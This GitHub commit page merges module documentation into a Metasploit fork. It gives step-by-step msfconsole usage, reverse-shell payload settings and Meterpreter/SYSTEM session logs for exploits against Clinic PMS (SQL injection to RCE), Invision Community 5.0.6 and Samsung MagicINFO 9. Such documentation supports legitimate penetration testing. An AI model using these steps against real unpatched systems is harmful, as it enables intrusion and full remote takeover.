Skip to content

Commit 2725466

Browse files
mariomontecatinemariomontecatine
authored
Merge branch 'rapid7:master' into master
2 parents 282d0f7 + 227fd96 commit 2725466

File tree

178 files changed

+8280
-5349
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

178 files changed

+8280
-5349
lines changed

‎Gemfile.lock‎

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -310,10 +310,14 @@ GEM
310310
activesupport (~> 7.0)
311311
railties (~> 7.0)
312312
zeitwerk
313-
metasploit-credential (6.0.14)
313+
metasploit-credential (6.0.16)
314+
bigdecimal
315+
csv
316+
drb
314317
metasploit-concern
315318
metasploit-model
316319
metasploit_data_models (>= 5.0.0)
320+
mutex_m
317321
net-ssh
318322
pg
319323
railties

‎db/modules_metadata_base.json‎

Lines changed: 1782 additions & 382 deletions
Large diffs are not rendered by default.

‎documentation/modules/exploit/multi/http/clinic_pms_sqli_to_rce.md‎

Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
## Vulnerable Application
2+
Clinic Patient's Management System contains SQL injection vulnerability in login section. This module uses the vulnerability
3+
(CVE-2025-3096) to gain unauthorized access to the application. As lateral movement, it uses another vulnerability (CVE-2022-2297) to gain remote code execution.
4+
5+
## Verification Steps
6+
7+
### Vulnerable Application Installation Setup
8+
1. Install Clinic's Patient Management System on your web server.
9+
- Download the Web Application from [here](https://www.sourcecodester.com/download-code?nid=15453&title=Clinic%27s+Patient+Management+System+in+PHP%2FPDO+Free+Source+Code)
10+
11+
2. Start `msfconsole` and load the exploit module:
12+
```bash
13+
msfconsole
14+
use exploit/multi/http/clinic_pms_sqli_to_rce
15+
```
16+
17+
3. Set the required options:
18+
```bash
19+
set rport <port>
20+
set rhost <ip>
21+
set targeturi /pms
22+
```
23+
24+
4. Check if the target is vulnerable:
25+
```bash
26+
check
27+
```
28+
29+
If the target is vulnerable, you will see a message indicating that the target is susceptible to the exploit:
30+
```
31+
[+] <IP> The target is vulnerable.
32+
```
33+
34+
5. Set up the listener for the exploit:
35+
```bash
36+
set lport <port>
37+
set lhost <ip>
38+
```
39+
40+
6. Launch the exploit:
41+
```bash
42+
exploit
43+
```
44+
45+
7. If successful, you will receive a PHP Meterpreter shell.
46+
47+
## Options
48+
- `TARGETURI`: (Required) The base path to the Clinic Patient Management System (default: `/pms`).
49+
50+
## Scenarios
51+
52+
```bash
53+
msf6 exploit(multi/http/clinic_pms_sqli_to_rce) > exploit
54+
[*] Started reverse TCP handler on 192.168.168.128:4444
55+
[*] Logged using SQL injection..
56+
[*] Malicious file uploaded..
57+
[*] Logged out..
58+
[*] Logged using SQL injection..
59+
[*] Sending stage (40004 bytes) to 192.168.168.146
60+
[*] Meterpreter session 1 opened (192.168.168.128:4444 -> 192.168.168.146:52522) at 2025-05-13 13:33:52 +0200
61+
62+
meterpreter > sysinfo
63+
Computer : ubuntu
64+
OS : Linux ubuntu 6.8.0-52-generic #53~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Jan 15 19:18:46 UTC 2 x86_64
65+
Meterpreter : php/linux
66+
67+
```
68+

‎documentation/modules/exploit/multi/http/invision_customcss_rce.md‎

Lines changed: 134 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,134 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits a remote-code injection in Invision Community ≤ 5.0.6 via the **theme editor**’s `customCss` endpoint:
4+
5+
* **CVE-2025-47916**: malformed `{expression="…"}` allows evaluation of arbitrary PHP expressions in the `content` parameter.
6+
7+
### To replicate a vulnerable environment
8+
9+
1. **Download the pre-built Docker lab** (includes `Dockerfile`, `docker-compose.yml` and the IPS 5.0.6 application):
10+
11+
```bash
12+
wget https://archive.org/download/ips-5.0.6/IPS-5.0.6.zip -O ips_5.0.6_lab.zip
13+
mkdir ips_5.0.6_lab_dir
14+
unzip ips_5.0.6_lab.zip -d ips_5.0.6_lab_dir
15+
cd ips_5.0.6_lab_dir
16+
```
17+
18+
2. **Bring up the stack**:
19+
20+
```bash
21+
docker-compose up -d
22+
```
23+
24+
3. **Complete the installer** by browsing to [http://localhost:7777](http://localhost:7777).
25+
26+
* You do **not** need a valid license key; you can enter any text and proceed.
27+
* Use database host `db`, user `ipsuser`, password `ipspass`, database `ipsdb`.
28+
29+
## Verification Steps
30+
31+
1. **Check the installed version**:
32+
33+
```bash
34+
curl -s http://localhost:7777/admin/install/eula.txt | head -n5
35+
```
36+
37+
Expected output:
38+
39+
```
40+
=============================[NOTE]=============================
41+
Buy license at https://invisioncommunity.com/buy/self-hosted/
42+
================================================================
43+
IPS 5.0.6 (5000074)
44+
=============================[NOTE]=============================
45+
```
46+
47+
2. **In `msfconsole`**, confirm the module’s `check` returns vulnerable:
48+
49+
```bash
50+
use exploit/multi/http/invision_customcss_rce
51+
set RHOSTS 127.0.0.1
52+
set TARGETURI /
53+
check
54+
```
55+
56+
## Options
57+
58+
No option
59+
60+
## Scenarios
61+
62+
### PHP Meterpreter (in-memory)
63+
64+
```bash
65+
use exploit/multi/http/invision_customcss_rce
66+
set TARGET 0
67+
set RHOSTS 127.0.0.1
68+
set TARGETURI /
69+
set PAYLOAD php/meterpreter/reverse_tcp
70+
set LHOST 192.168.1.10
71+
set LPORT 4444
72+
run
73+
```
74+
75+
### Command Shell (ARCH_CMD)
76+
77+
```bash
78+
use exploit/multi/http/invision_customcss_rce
79+
set TARGET 1
80+
set RHOSTS 127.0.0.1
81+
set TARGETURI /
82+
set payload cmd/linux/http/x64/meterpreter_reverse_tcp
83+
set LHOST 192.168.1.10
84+
set LPORT 4444
85+
run
86+
```
87+
88+
## Expected Results
89+
90+
With `php/meterpreter/reverse_tcp`:
91+
92+
```plaintext
93+
msf6 exploit(multi/http/invision_customcss_rce) > run http://localhost:7777
94+
[*] Exploiting target 127.0.0.1
95+
[*] Started reverse TCP handler on 192.168.1.36:4444
96+
[*] Running automatic check ("set AutoCheck false" to disable)
97+
[*] Detected IPS version: 5.0.6
98+
[+] The target is vulnerable. IPS version 5.0.6 is vulnerable (≤ 5.0.6)
99+
[*] Sending exploit to 127.0.0.1:7777 ...
100+
[*] Sending stage (40004 bytes) to 172.30.0.3
101+
[*] Meterpreter session 9 opened (192.168.1.36:4444 -> 172.30.0.3:34414) at 2025-05-20 18:13:55 +0200
102+
[*] Session 9 created in the background.
103+
msf6 exploit(multi/http/invision_customcss_rce) > sessions 9
104+
[*] Starting interaction with 9...
105+
106+
meterpreter > sysinfo
107+
Computer : 01ed59644450
108+
OS : Linux 01ed59644450 6.14.6-2-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 10 May 2025 20:09:10 +0000 x86_64
109+
Meterpreter : php/linux
110+
```
111+
112+
With `cmd/linux/http/x64/meterpreter_reverse_tcp`:
113+
114+
```plaintext
115+
msf6 exploit(multi/http/invision_customcss_rce) > run http://localhost:7777
116+
[*] Exploiting target 127.0.0.1
117+
[*] Started reverse TCP handler on 192.168.1.36:4444
118+
[*] Running automatic check ("set AutoCheck false" to disable)
119+
[*] Detected IPS version: 5.0.6
120+
[+] The target is vulnerable. IPS version 5.0.6 is vulnerable (≤ 5.0.6)
121+
[*] Sending exploit to 127.0.0.1:7777 ...
122+
[*] Meterpreter session 7 opened (192.168.1.36:4444 -> 172.30.0.3:46552) at 2025-05-20 18:11:35 +0200
123+
[*] Session 7 created in the background.
124+
msf6 exploit(multi/http/invision_customcss_rce) > sessions 7
125+
[*] Starting interaction with 7...
126+
127+
meterpreter > sysinfo
128+
Computer : 172.30.0.3
129+
OS : Debian 12.10 (Linux 6.14.6-2-cachyos)
130+
Architecture : x64
131+
BuildTuple : x86_64-linux-musl
132+
Meterpreter : x64/linux
133+
meterpreter >
134+
```

‎documentation/modules/exploit/windows/http/magicinfo_traversal.md‎

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
## Vulnerable Application
2+
3+
**Vulnerability Description**
4+
5+
This module exploits a path traversal vulnerability in Samsung MagicINFO 9 <= 21.1050.0 (CVE-2024-7399).
6+
7+
Remote code execution can be obtained by exploiting the path traversal vulnerability (CVE-2024-7399) in the SWUpdateFileUploader servlet,
8+
which can be queried by an unauthenticated user to upload a JSP shell.
9+
By default, the application listens on TCP ports 7001 (HTTP) and 7002 (HTTPS) on all network interfaces and runs in the context of NT
10+
AUTHORITY\SYSTEM.
11+
12+
**Vulnerable Application Installation**
13+
14+
A trial version of the software can be obtained from [the vendor]
15+
(https://www.samsung.com/us/business/solutions/digital-signage-solutions/magicinfo/).
16+
17+
**Successfully tested on**
18+
19+
- MagicINFO 9 21.1040.2 on Windows 10 (22H2)
20+
21+
## Verification Steps
22+
23+
1. Install Postgres or MySQL
24+
2. Install the application
25+
3. Activate the license
26+
4. Start `msfconsole` and run the following commands:
27+
28+
```
29+
msf6 > use exploit/windows/http/magicinfo_traversal
30+
msf6 exploit(windows/http/magicinfo_traversal) > set RHOSTS <IP>
31+
msf6 exploit(windows/http/magicinfo_traversal) > exploit
32+
```
33+
34+
You should get a shell in the context of `NY AUTHORITY\SYSTEM`.
35+
36+
## Options
37+
38+
### DEPTH
39+
The traversal depth. The FILE path will be prepended with ../ * DEPTH.
40+
41+
## Scenarios
42+
43+
Running the exploit against MagicINFO 9 21.1040.2 on Windows 10 should result in an output similar to the
44+
following:
45+
46+
```
47+
msf6 exploit(windows/http/magicinfo_traversal) > exploit
48+
49+
[*] Started reverse TCP handler on 192.168.137.204:4444
50+
[*] Running automatic check ("set AutoCheck false" to disable)
51+
[*] MagicINFO version detected: MagicINFO 9 Server 21.1040.2
52+
[+] The target appears to be vulnerable.
53+
[*] Uploading payload...
54+
[*] Upload successful
55+
[*] Payload executed!
56+
[*] Command shell session 3 opened (192.168.137.204:4444 -> 192.168.137.230:50038) at 2025-05-14 17:36:47 -0400
57+
58+
59+
Shell Banner:
60+
Microsoft Windows [Version 10.0.19045.3208]
61+
(c) Microsoft Corporation. All rights reserved.
62+
63+
C:\MagicInfo Premium\tomcat\bin>
64+
-----
65+
66+
67+
C:\MagicInfo Premium\tomcat\bin>whoami
68+
whoami
69+
nt authority\system
70+
71+
C:\MagicInfo Premium\tomcat\bin>
72+
```

0 commit comments

Comments
 (0)